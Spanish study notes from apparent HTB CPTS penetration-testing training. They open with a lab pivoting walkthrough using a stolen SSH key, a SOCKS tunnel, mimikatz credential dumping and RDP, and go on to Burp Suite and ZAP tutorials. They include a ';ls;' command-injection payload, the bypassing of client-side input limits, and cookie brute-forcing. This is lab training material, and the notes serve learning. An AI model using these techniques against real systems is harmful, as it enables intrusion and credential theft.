![[Pasted image 20260705150727.png]]
- Nos pasamos el id_rsa a la kali mediante un servidor web
![[Pasted image 20260705150737.png]]![[Pasted image 20260705150749.png]]
- Usamos el id_rsa para conectarnos y realizar un escaneo de hosts en la red y encontramos el siguiente host al que haremos pivoting
![[Pasted image 20260705150950.png]]
![[Pasted image 20260705151133.png]]
- Creamos un tunel SOCK para poder usar proxychains dentro de la red interna y nos conectamos via RDP para conseguir la flag
![[Pasted image 20260705151851.png]]![[Pasted image 20260705153828.png]]![[Pasted image 20260705153856.png]]
- Miramos las interfaces y encontramos otra subred y haciendo un escaneo de hosts activos en esa subred encontramos el siguiente host
![[Pasted image 20260705154535.png]]![[Pasted image 20260705160531.png]]![[Pasted image 20260705154552.png]]
- Como pista nos han dicho que en anteriores pentest se dieron cuenta de que habia cuentas de servicio con credenciales expuestas, por lo que podemos usar mimikatz para ver las credenciales expuetas. Para ello creamos un recursos compartido en la conexion RDP y nos pasamos mimikatz al host
![[Pasted image 20260705155054.png]]
![[Pasted image 20260705155213.png]]
- Usando mimikatz encontramos las credenciales que usaremos para conectarnos via RDP al siguiente host
![[Pasted image 20260705155341.png]]![[Pasted image 20260705155406.png]]
- Nos conectamos al host y conseguimos la siguiente flag
![[Pasted image 20260705160604.png]]![[Pasted image 20260705160625.png]]![[Pasted image 20260705160822.png]]
- Por ultimo revisando los archivos vimos un recurso compartido con DC donde se encontraba la ultima flag
![[Pasted image 20260705160908.png]]![[Pasted image 20260705160922.png]]
- Quisimos ver en que subred e IP se encontraba el KDC para completar el dibujo de red
![[Pasted image 20260705161034.png]]![[Pasted image 20260705161049.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 1. Introduccion
1. Introduccion E Instalacion Inicial
La mayoria de aplicaciones se conectan a un backend para enviar y recibir datos pero procesan los datos en el propio dispositivo, por ello comprobar y validar los backends es tan importante
Probaremos las solicitudes web hacia los servidores backend y usaremos los Proxy Web para capturar estas solicitudes y trafico que pasa entre aplicaciones y servidores
Proxies Web
Son herramientas que se configuran entre el navegador o aplicacion y el servidor backend para capturar y ver las solicitudes web actuando como herramientas MITM
A diferencia de herramientas como WireShark que ven todo el trafico de red, estas se centrar en puerto web como el 80 y 443
Las dos herramientas que vamos a usar son: Burp Suite (Burp) y OWASP Zed Attack Proxy (ZAP)
Configuraciones
Burp Suite
Burp Suite (Burp)
Descarga: Página de Descargas de Burp
Si se descarga el archivo .jar se ejecuta lo siguiente:
java jar /RUTA/burpsuite.jar
Descargar Java: https://docs.oracle.com/goldengate/1212/gg-winux/GDRAD/java.htm#BGBFHBEA
- Lo ejecutamos como aplicacion normal o desde la terminal
burpsuite &
- Al entrar nos pedira crear un proyecto pero como tenemos la version community solo podemos crear proyectos temporales
![[Pasted image 20260705215247.png]]
- Nos pedira o poner las opciones por defecto o cargar un archivo con configuraciones, eligiremos las de por defecto
![[Pasted image 20260705215404.png]]
YA ESTAMOS DENTRO
TEMA OSCURO: Burp>Settings>User interface>Display>theme>Dark
ZAP
OWASP Zed Attack Proxy (ZAP)
Descarga: página de descargas
Si se descarga el archivo .jar se ejecuta lo siguiente:
java jar /RUTA/burpsuite.jar
- Iniciamos ZAP desde la terminal o como aplicacion
zaproxy
- Nos pedira que creemos un proyecto nuevo o temporal, en este caso eligiremos el temporal poniendo NO:
![[Pasted image 20260705215628.png]]
YA ESTAMOS DENTRO
TEMA OSCURO: Tools>Options>Display>Look and Feel>Flat Dark
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
1. Setup
Navegador preconfigurado
Para usarlas como proxyweb hay dos opciones:
- Usar el navegador integrado en el proxy
- Burp Suite: Proxy>Interecept>Open Browser
![[Pasted image 20260705220205.png]]
- ZAP: click en icono de navegador Firefox
![[Pasted image 20260705220241.png]]
- Configurar el navegador para que las solicitudes web se hagan a traves del proxy. Ambos usan el puerto 8080 por defecto asi que en uno de los dos lo configuramos en un puerto diferente:
- Burp: Proxy>Proxy settings>Proxy listeners –> 8080
- ZAP: Tools>Options>Network>Local Servers/Proxies –> 8081
- Añadimos la extension Foxy Proxy para cambiar rapidamente entre proxies desde el navegador normal o encenderlos y apagarlos
Hacemos click en su icono y vamos a Options
![[Pasted image 20260705220932.png]]
Damos a Add> 127.0.0.1> 8080 o 8081 y lo nombramos como Burp o ZAP> Save
![[Pasted image 20260705221113.png]]
- Seleccionamos una u otra dependiendo de la que vayamos a usar
![[Pasted image 20260705221141.png]]
Instalacion del certificado CA
Esto es necesario ya que sino el trafico HTTPS se puede enrutar mal o tendremos que dar accept cada vez que se tenga que usar HTTPS
- Descargar el certificado:
-
Burp: seleccionamos en FoxyProxy Burp > navegamos a http://burp y descargamos el certificado de alli en CA Certificate
![[Pasted image 20260705221452.png]]
-
ZAP: Tools>Options>Network>Server Certificates> Save o podemos generar uno nuevo o cambiarlo con Generate
![[Pasted image 20260705221518.png]]
- Instalarlo en Firefox: navegamos a about:preferences#privacy, nos desplazamos a la parte interior y hacemos click en View Certificates > Authorities > Import y seleccionamos el certificado:
![[Pasted image 20260705221707.png]]![[Pasted image 20260705221737.png]]
- Por ultimo seleccionamos Trust this CA to identify websites y Trust this CA to identify email users y le damos a OK:
![[Pasted image 20260705221833.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
2. Interceptando Solicitudes WEB
Una vez configurado podemos usarlo para interceptar y modificar solicitudes web
Intercepcion de solicitudes
Burp Suite
-
En FoxyProxy activamos la opcion de Burp
-
En Burp Suite: Proxy>Intecept>Intercept on
![[Pasted image 20260705222746.png]]
- Al visitar el sitio web objetivo veremos la solicitud interceptada que se enviara desde nuestro navegador al backend una vez demos Fordward
![[Pasted image 20260705222922.png]]
ZAP
-
En FoxyProxy activamos la opcion de ZAP
-
La intercepcion en ZAP esta habilitada por defecto (es el circulo verde de la barra inicial). Para activarlo o desactivarlo le damos al boton verde o hacemos CTL+B
![[Pasted image 20260705223142.png]]
- Al visitar en el navegador la pagina web veremos la solicitud interceptada y podemos hacer click en Break para reenviar la solicitud
![[Pasted image 20260705223305.png]]
Ademas ZAP tiene una funcion llamada HUD que nos permite controlar la mayoria de funciones de ZAP desde el navegador preconfigurado. Podemos habilitar HUD para le navegador preconfigurado dando click en el siguiente boton de la barra:
![[Pasted image 20260705223426.png]]![[Pasted image 20260705223435.png]]
Para interceptar las solicitudes hacemos click en el segundo boton izquierdo y una vez actualicemos la pagina web veremos la solicitud. La enviaremos:
- Step: enviar la solicitud y examinar la respuesta del backend antes de que la procese el navegador. Util para examinar cada paso
- Continue: enviar todas las solicitudes restantes. Util si solo estamos interesados en una solicitud
![[Pasted image 20260705223631.png]]
Manipulacion de solicitudes interceptadas
Esta solicitud interceptada estara en espera hasta que la reenviemos. Podemos examinarla y/o modificarla antes de enviarala
Hay muchas vulns que podriamos aprovechar y pueden estar presentes en el backend si procesa mal la solicitud enviada:
- Inyecciones SQL (SQL injections)
- Inyecciones de comandos (command injections)
- Omisión de subida de archivos (upload bypass)
- Omisión de autenticación (authentication bypass)
- XSS
- XXE
- Manejo de errores (error handling)
- Deserialización (deserialization)
Ejemplo de la pagina web interceptada:
![[Pasted image 20260705224108.png]]
- Ponemos un valor IP y luego le damos a ping con el proxy encencido. Obtendremos la solicitud que el navegador envia antes de que llegue al backend:
![[Pasted image 20260705224215.png]]
- No podemos poner caracteres porque el frontend nos lo impide con un JS, pero podemos modificarlas una vez se ha enviado la solicitud interceptandola y si no se valida bien en el backend se lo come
En este ejemplo cambiamos el valor de ip de 1 a ;ls;
![[Pasted image 20260705224435.png]]
- Lo enviamos con Forward o le damos a Continue y veremos que la salida de ping a cambiado a la salida de ls
![[Pasted image 20260705224548.png]]
Ejemplo practico
- Probamos la aplicacion como funciona sin proxies y vemos que envia pings al localhost de la maquina segun el numero que pongamos por lo que podemos suponer que ejecuta el comando ping en el backend
![[Pasted image 20260705224707.png]]![[Pasted image 20260705224714.png]]![[Pasted image 20260705224724.png]]![[Pasted image 20260705224729.png]]
- Activamos el proxy y la intercepcion de solicitudes
![[Pasted image 20260705224737.png]]![[Pasted image 20260705224745.png]]![[Pasted image 20260705224802.png]]
- Modificamos la solicitud para que tras el ping ejecute el comando ls, en bash se pueden ejecutar varios comandos seguidos separados por ;
![[Pasted image 20260705224820.png]]![[Pasted image 20260705224829.png]]
- Obtenemos la flag modificando otra solicitud
![[Pasted image 20260705224900.png]]![[Pasted image 20260705224908.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
3. Interceptando Respuestas
Hay casos en los que necesitaremos interceptar las respuestas del servidor antes de que las interprete el navegador
Con esto podemos cambiar aspectos de la pagina, habilitar ciertos campos o mostrar ciertos campos campos ocultos…
Seguimos con el ejemplo de antes que solo nos permitia poner valores numericos pero si obtenemos y modificamos la respuesta nos permitira poner cualquier valor
Burp Suite
- Activamos la intercepcion de respuestas: Proxy>Proxy settings>Response interception rules>Intercept Response
![[Pasted image 20260705225808.png]]
- Habilitamos la intercepcion del proxy con FoxyProxy activado y actualizamos la pagina con CTL+SHIFT+R (se fuerza la actualizacion completa)
Veremos la solicitud interceptada y una vez le demos a Forward veremos la respuesta interceptada con el codigo fuente de la pagina web
![[Pasted image 20260705230029.png]]
- Como vemos dentro del campo input donde ponemos el valor numerico este esta capado por un JS que pone “type=number”, lo modificamos a “type=text” y “maxlenght=100” para poder introducir mas cosas
![[Pasted image 20260705230216.png]]
- Ahora podremos escribir los comandos directamente en el cuadro de input
![[Pasted image 20260705230246.png]]
Burp tiene una opcion que permite de forma automatizada habilitar o deshabilitar campos. Imagina que el campo IP esta deshabilitado, con ese boton podemos habilitarlo
- Proxy>Proxy settings>Response modification rules>Unhide hidden form fields
ZAP
Si lo hacemos con HUB:
- Le damos al segundo boton de la izquierda para que intercepte, hacemos CTL+SHIFT+R para actualizar la pagina web y obtenemos la solicitud. Si le damos a Step obtendremos la respuesta
![[Pasted image 20260705230458.png]]
- Hacemos los mismos cambios en la respuesta y le damos a Continue
![[Pasted image 20260705230526.png]]
HUB tiene el tercer boton que permite de forma automatizada habilitar o deshabilitar campos. Imagina que el campo IP esta deshabilitado, con ese boton podemos habilitarlo:
![[Pasted image 20260705230704.png]]![[Pasted image 20260705230710.png]]
Otra opcion es en el boton “+?Comments” que nos muestra los comentarios HTML que estan solo visibles en el codigo fuente con CTL+U
![[Pasted image 20260705230905.png]]
Ejemplo practico
![[Pasted image 20260705231002.png]]![[Pasted image 20260705231216.png]]![[Pasted image 20260705231235.png]]![[Pasted image 20260705231251.png]]![[Pasted image 20260705231259.png]]![[Pasted image 20260705231321.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
4. Modificacion Automatica
Es posible que queramos añadir modificaciones a todas las solicitudes salientes o respuestas entrantes HTTP
Modificacion automatica de solicitudes
Podemos hacer coincidir cualquier cadena de texto dentro de las solicitudes (ya sea cabecera o cuerpo) y reemplazarlo por un texto diferente
Como ejemplo modificaremos User Agent por HackTheBox Agent 1.0
Burp Suite
-
Proxy > Proxy settings > HTTP match and replace rules > Add
-
Usando Regex podemos poner:
![[Pasted image 20260706115747.png]]
- Request Header: cabecera de la solicitud
- ^User-Agent.*$: el patron regez coincide con toda la linea que contiene User Agent
- El valor del reemplazo
- Regex match ya que no conocemos la cadena exacta
- Le damos a Accept y la condicion de reemplazo de añadira y comenzara a reemplazar automaticamente la cabecera User-Agent. Podemos verificarlo visitando cualquier sitio web con el proxy activado
![[Pasted image 20260706120125.png]]
ZAP
La caracteristica en ZAP se llama Replacer:
- CTL+R o le damos a Replacer en el menu de opciones de ZAP
- Configuramos la regla
![[Pasted image 20260706120229.png]]
- Descripcion: HTB User-Agent
- Tipo de coincidencia: Request Header
- Cadena de coincidencia: User Agent
- Cadena de reemplazo: HackTheBox Agent 1.0
- Habilitar: Tue
En la pestaña de Initiators nos permite seleccionar donde se aplicara nuesta opcion Replacer:
- Ponemos la predeterminada (Apply to all HTTPS messages para aplicarla en todas partes)
- Habilitamos la intercepcion de solicitudes con CTL+B y visitamos cualquier sitio web
![[Pasted image 20260706120556.png]]
Modificacion automatica de respuestas
Burp Suite
- Proxy > Options > Match and Replace
- Usamos el tipo: Response body
- Modificamos como antes pero en este caso no necesitamos modificar con Regex
![[Pasted image 20260706120913.png]]
Ejemplos practivos
- Activamos el Foxy Proxy y la intercepcion en BurpSuite
![[Pasted image 20260706121345.png]]![[Pasted image 20260706121320.png]]
- Interceptamos una solicitud de prueba para luego añadir la nuestra en los settings
![[Pasted image 20260706121328.png]]![[Pasted image 20260706121354.png]]![[Pasted image 20260706121405.png]]![[Pasted image 20260706121429.png]]
- Añadimos la siguiente configuracion para cambiar todos los UserAgent en cada solicitud interceptada por BurpSuite
![[Pasted image 20260706121706.png]]![[Pasted image 20260706121629.png]]
- Si interceptamos cualquier solicitud veremos que ha cambiado
![[Pasted image 20260706121739.png]]
- Modificacion de respuesta
- Hamos lo mismo que con las solicitudes pero en este caso vamos a modificar el type=number por type=text y maxlength=3 por 100 para poder ejecutar comandos
![[Pasted image 20260706121909.png]]![[Pasted image 20260706122129.png]]![[Pasted image 20260706121951.png]]
- En la pagina web hacemos CTL+SHIFT+R para recargar toda la pagina y obtenemos la solicitud y respuesta donde en la respuesta podemos ver que se ha modificado
![[Pasted image 20260706122205.png]]
- Manteniendo el burp encendido cada vez que recarguemos la pagina podremos escribir texto hasta 100 caracteres
![[Pasted image 20260706122223.png]]![[Pasted image 20260706122245.png]]![[Pasted image 20260706122309.png]]![[Pasted image 20260706122317.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
5. Repeticion De Solicitudes
Nos permite reenviar una solicitud web que haya pasado por el proxy para hacer cambios mas rapidamente
Historial del Proxy
- Ver el historial:
- Burp Suite: Proxy > HTTP History
![[Pasted image 20260706123631.png]]
- ZAP: en el panel Historial inferior o pestaña History en la parte inferior de la interfaz
![[Pasted image 20260706123742.png]]
Ambas tienen opciones de filtrado. Podemos acceder a una y ver sus detalles:
![[Pasted image 20260706123909.png]]
![[Pasted image 20260706123929.png]]
Repeticion de solicitudes
- Enviar al Repeater:
- Burp Suite: una vez encontrada hacemos CTL+R para mandarla al Repeater y luego navegamos a la pestaña de Repeater o hacemos CTL+SHIFT+R. Con Send enviamos la solicitud
![[Pasted image 20260706124136.png]]
Con click derecho + Change Request Method podemos cambiar el metodo HTTP de GET -> POST sin tener que reescribir la solicitud completa
- ZAP: en la solicitud que queremos enviar al Repeater hacemos click derecho > Open/Resend with Request Editor. Abrira una ventana de editor de solicitudes y nos permitira reenviar la solicitud con el boton de Send
![[Pasted image 20260706124647.png]]
En el desplegable Method podemos cambiar el metodo de la solicitud como en Burp Suite
Consejo: Por defecto, la ventana del Editor de Solicitudes en ZAP tiene la Solicitud/Respuesta en pestañas diferentes. Puedes hacer clic en los botones de visualización para cambiar cómo se organizan. Para que coincida con la apariencia anterior, elige las mismas opciones de visualización que se muestran en la captura de pantalla.
Con HUB podemos hacer lo mismo, localizamos la solicitud en el Historial y una vez hacemos click en ella aparecera el Request Editor: Replay in Console (obtener la respuesta en el HUB) o Replay in Browser (verla rederizada en el navegador)
![[Pasted image 20260706124936.png]]
Modificacion de la solicitud
En las 3 podemos modificar el texto para reemplazarlo con lo que queramos y luego hacer click en Send
![[Pasted image 20260706125032.png]]
Para codificar en URL rapidamente –> CTL+U (si le damos varias veces se ira codificando cada vez mas en URL), CTL+SHIFT+U para volver atras
Ejemplo practico
- Encontramos la solicitud que hicimos con los parametros de la respueta cambiados que nos permitieron ejecutar comandos y lo mandamos al repeater
![[Pasted image 20260706125305.png]]
- Lo enviamos para ver si la respuesta funciona
![[Pasted image 20260706125337.png]]![[Pasted image 20260706125354.png]]
- Modificamos la solicitud y la volvemos a enviar (usamos CTL+U para codificar en formato URL)
![[Pasted image 20260706125451.png]]![[Pasted image 20260706125500.png]]
Le damos a send
![[Pasted image 20260706125518.png]]
Vamos modificando para obtener la otra flag:
![[Pasted image 20260706130025.png]]![[Pasted image 20260706130056.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
6. Codificacion Y Decodificacion
Es posible que necesitemos realizar codificaciones y decodificaciones para interactuar correctamente con el servidor web
Codificacion URL
Es fundamental que los datos de la solicitud esten codificados en URL y que las cabeceras esten correctamente configuradas, sino podriamos recibir un error de respuesta
Caracteres necesarios de codificar:
-
Espacios: para que no los tome como final de datos
-
&: para que no los interprete como un delimitador de parametros
-
#: para que no los interprete como un indicador de fragmento
-
Burp Suite:
Tenemos dos opciones:
- Seleccionar el texto y hacer CTL U (cuantas mas veces lo hagamos sobre el mismo fragmento mas coficado en URL), para volver atras CTL SHIFT U
- Seleccionar el texto > Click derecho > Convertir selección>URL>Codificar en URL los caracteres clave
- ZAP: lo hace en segundo plano automaticamente cuando enviamos la solicitud
Decodificacion
Algunos formatos en los que codifican o esperan los datos los backends son:
Introducimos la cadena BSE64 (eyJ1c2VybmFtZSI6Imd1ZXN0IiwgImlzX2FkbWluIjpmYWxzZX0=)
Luego Decode as>Base64
![[Pasted image 20260706131623.png]]
En versiones recientes tenemos Burp Inspector que se encuentra en varias zonas de la herramienta para codificar y decodificar rapidamente:
![[Pasted image 20260706131700.png]]
- ZAP: CTL E > Encoder/Decoder/Hash
Usara varios decodificadores de forma automatica:
![[Pasted image 20260706131731.png]]
Codificacion
Ejemplo codificando: {“username”:“guest”, “is_admin”:false}
En un pentest se encontraron un base64 con ese valor dentro de una cookie y es posible que querramos modificarlo a admin y true:
En vez de Decode as le damos a Encode as:
![[Pasted image 20260706131906.png]]![[Pasted image 20260706131913.png]]
Ejemplo practico
Nos dan un archivo con un texto codificado varias veces, tenemos que obtener la flag
1, Descargamos el archivo
![[Pasted image 20260706132141.png]]
- Vamos decodificando todo BASE64 menos el ultimo que era URL
![[Pasted image 20260706132300.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 2. WEB Proxy
7. Herramientas De Proxy
Permitiremos la intercepcion de peticiones web de herramientas de linea de comandos y aplicaciones de cliente
Para enrutar estas peticiones de herramientas especificas a traves del proxy tenemos que configurarlas como proxy a traves de http://127.0.0.1:8080
Cada herramienta se configura de forma diferente
Proxychains
Enrutar todo el trafico de cualquier herramienta de comandos
- Modificamos /etc/proxychains4.conf
![[Pasted image 20260706133206.png]]
- Usamos proxychains con la herramienta y el parametro -q para que opere en modo silencioso suprimiendo la informacion de conexion a la consola y centrarse solo en la salida de la aplicacion
proxychains -q curl http://IP:PORT
![[Pasted image 20260706133332.png]]
- Si vamos al proxy veremos que la solicitud ha pasado por el
![[Pasted image 20260706133401.png]]
MSF
- Iniciamos MSF y establecemos un proxy para cualquier exploit de MSF
msfconcole -q
use auxiliary/scanner/http/robots_txt
set proxies HTTP:127.0.0.1:8080
set rhost IP
set rport PORT
run
- Si volvemos al proxy veremos que la solicitud ha pasado por el
![[Pasted image 20260706133604.png]]
Ejemplo practico
- Modificamos /etc/proxychains4.conf para que pasen las peticiones HTTP por el puerto local 8080 y con burp encendido usamos proxychains con una herramienta que haga peticiones HTTP. Vemos como burp las intercepta y una vez que pasamos las respuestas y solicitudes sale por terminal la salida
![[Pasted image 20260706134245.png]]![[Pasted image 20260706134251.png]]
- Con el proxy encendido configuramos el modulo MSF para que pueda interceptar la solicitud web en el proxy
![[Pasted image 20260706133958.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 3. WEB Proxy Fuzzer
1. Burp Intruder
Esta herramienta realiza fuzzing web, enumeracion y fuerza bruta
Ejemplo objetivo
- Accedemos a la pagina web con el proxy encendido, hacemos click derecho en la peticion (ya sea en la propia peticion o en el historial) y lo mandamos al Intruder o con CTL+I
![[Pasted image 20260706145330.png]]
Posiciones
Se encapsulan entre “$-$” y es el puntero donde colocaremos la iteracion
- En este ejemplo haremos un fuzzing de directorios desde la raiz (/$DIRECTORY$) donde DIRECTORY se ira iterando segun la wordlist que le pasemos mas adelante. Para colocar $-$ le damos a ADD
![[Pasted image 20260706145704.png]]
Payloads
En la seccion derecha de Intruder se encuentra el apartado de Payloads. Aqui podremos elegir wordlists sobre la que se iterara la DIRECTORY en este caso probando uno por uno
- Elegimos la posicion y tipo de payload: indicamos en todas las posiciones que colocamos el puntero (solo DIRECTROY en nuestro caso) y Simple list
![[Pasted image 20260706145957.png]]
En este caso al solo tener una posicion de puntero el ataque es tipo “Sniper” y solo podemos elegir un payload para esa posicion. Si hubiese mas punteros “Cluster Bomb” podriamos haber elegido un payload para cada uno
Tipos de payload:
- Simple list: una lista de palabras e Intruder itera sobre cada una de ellas
- Runtime file: parecido a Simple list pero carga linea por linea a medida que se ejecuta el escaeno para evitar el uso excesivo de la memoria de Burp
- Character Substitution: permite especificar una lista de caracteres y sus reemplazos y Burp prueba todas las permutaciones
- Se pueden crear listas personalizadas
Burp Intruder payload types
- Configuramos el payload: es diferente en cada tipo de payload. Para el Simple List tenemos que crear o cargar una lista de palabras dandole a Add (construir nuestra lista de palabras) o Load (importar un archivo)
/opt/useful/seclists/Discovery/Web-Content/common.txt
![[Pasted image 20260706150646.png]]
Podemos añadir mas de una wordlist y/o añadir nuevas palabras a la lista ya creada
Si usamos una lista muy larga mejor usar Runtime file para no saturar la memoria
- Procesamiento del payload: nos permite determinar reglas de fuzzing sobre la lista de palabras cargada (Ejemplo: añadir una extension despues de la palabra de la wordlist o si queremos que de la lista se omita cualquier cosa o solo considerar algunas). En el ejemplo eliminamos las entradas que tengan un . al iniciar
Le damos a Add y luego Skip if matches regex lo que nos permite proporcionar un patron regez poara que omitamos lo que coincida con la entradaÑ
![[Pasted image 20260706151452.png]]![[Pasted image 20260706151505.png]]
- Codificacion del payload: podemos tambien encodear a URL los caracteres que pongamos en la entrada
![[Pasted image 20260706151604.png]]
Configuracion
Por ultimo podemos personalizar las opciones de ataque desde la pestaña Settings
Ejemplos: Number of retries on network failure y Pause before retry a 0
Una opcion muy util es “Grep - Match” que permite marcar peticiones especificas dependiendo de las respuestas. En este caso solo nos interesan las que tengan una respuesta 200 OK asi que podemos limpiar la lista actual con Clear y luego Add 200 OK. Por ultimo deshabilitaremos los Exclude HTTP Headers para que tenga en cuenta la cabecera que es donde se encontrara el 200 OK:
![[Pasted image 20260706151945.png]]
Tambien puede servir para solo extraer un fragmento de la respuesta y no toda. Imagina que tenemos esto en las respuestas:
<html>
...
Bienvenido <b>NOMBRE</b>
...
</html>
Y queremos que nos extraiga la parte que esta entre <\b>NOMBRE</b> para verla desde fuera rapidamente, podemos usar la expresion regex:
(?<=<b>).*?(?=</b>)
Y nos saldra lo siguiente:
![[Pasted image 20260706153449.png]]
Ataque
Le damos a Start Attack y esperamos a que nuestro ataque termine
Como vemos las que empezaban por . fueron omitidas
![[Pasted image 20260706153554.png]]
En la columna 200OK podemos ver las peticiones que coinciden con 200 OK:
![[Pasted image 20260706153652.png]]
Podemos visitar http://SERVER_IP:PORT/admin/ para asegurarnos de que existe
Podemos usar Intruder para mas ataques de fuzzing web, fuerza bruta etc
Ejemplo practico
- Con el proxy iniciado vamos a /admin y la solicitud la pasamos al Intruder
![[Pasted image 20260706153948.png]]![[Pasted image 20260706154019.png]]
- Añadimos el puntero
![[Pasted image 20260706154036.png]]
- Configuramos el payload: elegimos la wordlist, omitimos las entradas que empiezan por . y codificamos los caracteres especiales a URL
![[Pasted image 20260706154147.png]]![[Pasted image 20260706154215.png]]![[Pasted image 20260706154339.png]]
- Ponemos en la configuracion que se marquen las salidas con 200 OK que esten en la cabecera
![[Pasted image 20260706154432.png]]![[Pasted image 20260706154551.png]]
- Vamos a la direccion donde se encuentra el sitio con 200 OK para verificar y vemos la flag. Tambien se podia ver en el apartado de Response dentro Burp
![[Pasted image 20260706154614.png]]![[Pasted image 20260706154647.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 3. WEB Proxy Fuzzer
2. Zap Fuzzer
No limita su velocidad como Burp
Fuzz
- Visitamos la pagina web para capturar la peticion, hacemos click derecho en ella y Attack>Fuzz
![[Pasted image 20260706155838.png]]
- Marcamos los Fuzz locations que son los punteros de ZAP. Seleccionamos la cadena y le damos Add:
![[Pasted image 20260706155947.png]]
- Se habre la pestaña de payloads. Le damos a ADD para añadir nuestros payloads
- File: permite seleccionar una wordlist
- File Fuzzers: permite seleccionar una wordlist de la base de datos de palabras incorporadas
- Numberzz: genera secuencias de numeros con incrementos personalizados
Podemos descargar mas wordlist incorporadas desde Market Place
- Seleccionamos Type>File Fuzzers>dirbuster y le damos a Add
![[Pasted image 20260706160317.png]]
- Procesadores: podemos hacer un procesamiento en cada palabra de la wordlist como:
- Base64 Decode/Encode
- MD5 Hash
- Postfix String
- Prefix String
- SHA-1/256/512 Hash
- URL Decode/Encode
- Script
O podemos añadir una cadena de Prefix o Postfix String a las palabras de la wordlist. Tambien tenemos la opcion de script para incorporar un script personalizado que hayamos creado y se ejecute en cada payload
Seleccionaremos URLEncoded como procesador para que codifique los payloads y puedes hacer click en el boton Generate Preview para previsualizar como quedaria:
![[Pasted image 20260706162137.png]]
Le damos a Add
- Opciones: podemos establecer algunas opciones para los fuzzers como en Burp. Por ejemplo los threads de escaneo:
![[Pasted image 20260706162251.png]]
- Depth first: intentara los payloads en una posicion antes de pasar a la siguiente
- Breadth first: intentara un payload en todas las posiciones y luego pasara al siguiente payload
- Iniciamos dandole a Start Fuzzer y luego podemos filtrar por los resultados ya que solo buscamos el de 200 OK
![[Pasted image 20260706162524.png]]
Encontramos el directory /skills/
![[Pasted image 20260706162548.png]]
Ejercicio practico
- Visitamos la pagina web en el directorio /skills con el proxy encendido para interceptar la peticion y mandarla a Intruder
![[Pasted image 20260706163205.png]]![[Pasted image 20260706163351.png]]
- Como vimos en la respuesta hay un Set-Cookie (la cookie es un MD5 con el username) por lo que para probar varias entradas de Cookie tenemos que poner en la solicitud la Cookie con “Cookie: cookie=MD5”
![[Pasted image 20260706163517.png]]
![[Pasted image 20260706164140.png]]
- Configuramos el payload poniendo una wordlist de usuarios que procesaremos como MD5
![[Pasted image 20260706163615.png]]![[Pasted image 20260706163600.png]]![[Pasted image 20260706163746.png]]![[Pasted image 20260706163803.png]]![[Pasted image 20260706163827.png]]
- Al iniciar el ataque vemos que todos dan resultado 200 OK pero hay uno con una mayor longitud del resto. En la respuesta vemos la flag
![[Pasted image 20260706164203.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 4. Escaner WEB
1. Burp Scanner
Usa un Crawler para construir la estructura del sitio web y un escaner pasivo y otro activo
Solo version pro por lo que no lo explico
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 4. Escaner WEB
2. Zap Scanner
Parecido al de Burp usa un Spider para construir la estructura de un sitio web y realizar escaneos pasivos y activos
Spider
Inicia un Spider del sitio web
- Iniciar desde la solicitud HTTP que queramos en el History>click derecho>Attack>Spider o usando el HUD en el navegador preconfigurado y le damos a Spider Start
![[Pasted image 20260706193551.png]]
Puede decirnos que el sitio web no esta dentro del scope pero si le damos a YES se añadira automaticamente. El scope es el conjunto de URLs que ZAP probara al iniciar el escaneo
- Hacemos click en Start en la pestaña emergente y el spider comenzara a rastrear el sitio web buscando enlaces y validandolos. Veremos el progreso tanto en el boton del HUD como en la UI de ZAP en la pestaña de ZAP. Cuando termine podemos dar al primer boton del panel derecho “Sites Tree” que mostrara un arbol expansible con la lista de directorios y subdirectorios
![[Pasted image 20260706194020.png]]
Hay otra opcion que es “Ajax Spider” que se inicia con el tercer boton del panel derecho. La diferencia es que Ajax tambien intenta identificar enlaces solicitados a traves de solicitudes AJAX dw JS
Son solicitudes HTTP que JavaScript realiza en segundo plano para comunicarse con el servidor sin recargar la página completa
Escaneo pasivo
Con el ZAP Spider se ejecuta automaticamente un escaneo pasivo en cada respuesta para identificar problemas potenciales del codigo fuente como cabeceras de seguridad faltantes o vulnerabilidades XSS basado en DOM
Por ello el boton de alertas comienza a llenarse aunque no hayamos tocado nada (panel izquierdo = problemas de la pagina actual que estamos visitando y en el panel derecho = alertas de la aplicacion web general)
![[Pasted image 20260706194720.png]]
Podemos revisarlas tambien desde la UI de ZAP en la pestaña Alerts donde se veran todos los problemas:
![[Pasted image 20260706194804.png]]
Escaner activo
Una vez que el arbol este poblado podemos hacer click en Active Scan en el panel derecho para iniciarlo (si aun no se ha hecho el Spider Scan lo hara automaticamente). Podemos ver el progreso de forma similar al Spider Scan
![[Pasted image 20260706195013.png]]
Probara varios tipos de ataques contra las paginas y parametros HTTP indicando para identificar tantas vulnerabilidades como pueda. Es por eso que el escaner activo tardare en completarse y a medida que se completa, los botones de alertas empezaran a llenarse
Podemos revisar la UI de ZAP para mas detalles sobre el escaneo en ejecucion donde podemos ver varias solicitudes enviadas por ZAP:
![[Pasted image 20260706195214.png]]
Una vez finalice podemos ver las alertas:
![[Pasted image 20260706195246.png]]
Podemos hacer click en ella para obtener mas detalles:
![[Pasted image 20260706195308.png]]
En la ventana de detalles de la alerta, si clicamos en la URL podremos ver la solicitud y respuesta que uso ZAP para identificar la vuln y poder replicarla:
![[Pasted image 20260706195421.png]]
Report>Generate HTML Report en formatos XML o Markdown y podemos habrirlo en el navegador
![[Pasted image 20260706195544.png]]
CPTS
3. Explotacion WEB / 1. Usando WEB Proxies / 5. Skill Assessment
1. Skill Assessment
- En la pagina /lucky.php hay un boton deshabilitado. Trata de habilitarlo para hacer click en el y conseguir la flag
- Visitamos la pagina y habilitamos foxy proxy y el proxy burp para intercepcion e intercepcion de respuestas
![[Pasted image 20260707095322.png]]![[Pasted image 20260707095330.png]]![[Pasted image 20260707095400.png]]
